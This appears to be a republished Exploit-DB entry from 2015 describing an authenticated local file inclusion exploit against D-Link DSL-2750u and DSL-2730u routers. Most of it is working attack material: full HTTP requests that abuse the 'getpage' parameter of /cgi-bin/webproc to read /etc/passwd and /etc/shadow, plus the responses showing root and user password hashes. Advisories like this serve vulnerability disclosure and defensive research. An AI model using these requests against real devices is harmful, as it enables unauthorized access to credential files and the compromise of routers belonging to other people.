Dlink DSL-2750u and DSL-2730u – Authenticated Local File Disclosure

Posted on Posted in Exploit
EDB-ID: 37516 CVE: N/A OSVDB-ID: N/A
Verified: NO Author:S.A Published: 2015-07-07
Download Exploit: Source Download Vulnerable App: N/A
#[+] Author: SATHISH ARTHAR
#[+] Exploit Title: Dlink Wireless Router Password File Access Exploit (Local File Inclusion)
#[+] Date: 07-07-2015
#[+] Platform: Hardware
#[+] Tested on: linux
#[+] Vendor: http://www.dlink.co.in
#[+] Product web page: http://www.dlink.co.in
 
#[+] Affected version:
DSL-2750u (firmware: IN_1.08 )
DSL-2730u (firmware: IN_1.02 )
 
#[+] Sites: sathisharthars.wordpress.com
#[+] Twitter: @sathisharthars
#[+] Thanks: offensive security (@offsectraining)
 
 
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Dlink Wireless Router Password File Access Exploit
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Summary:
 
The Dlink DSL-2750u and DSL-2730u wireless router improves
your legacy Wireless-G network. It is a simple, secure way to share your
Internet connection and allows you to easily surf the Internet, use email,
and have online chats. The quick, CD-less setup can be done through a web
browser. The small, efficient design fits perfectly into your home and
small office.
 
 
Desc:
 
The router suffers from an authenticated file inclusion vulnerability
(LFI) when input passed thru the 'getpage' parameter to 'webproc' script is
not properly verified before being used to include files. This can be exploited
to include files from local resources.
 
 
Tested on: mini_httpd/1.19 19dec2003
 
 
 
===============================================================
 
 
GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/passwd HTTP/1.1
 
Host: 192.168.31.10
 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 
Accept-Language: en-US,en;q=0.5
 
Accept-Encoding: gzip, deflate
 
Cookie: sessionid=2b48aa9b
 
Connection: keep-alive
 
 
 
HTTP/1.0 200 OK
 
Content-type: text/html
 
Pragma: no-cache
 
Cache-Control: no-cache
 
set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/
 
 
 
#root:x:0:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash
#tw:x:504:504::/home/tw:/bin/msh
 
 
GET /cgi-bin/webproc?var:page=wizard&var:menu=setup&getpage=/etc/shadow HTTP/1.1
 
Host: 192.168.31.10
 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0
 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 
Accept-Language: en-US,en;q=0.5
 
Accept-Encoding: gzip, deflate
 
Cookie: sessionid=2b48aa9b
 
Connection: keep-alive
 
 
HTTP/1.0 200 OK
 
Content-type: text/html
 
Pragma: no-cache
 
Cache-Control: no-cache
 
set-cookie: sessionid=2b48aa9b; expires=Fri, 31-Dec-9999 23:59:59 GMT;path=/
 
 
 
#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::

Quelle: Exploit-db

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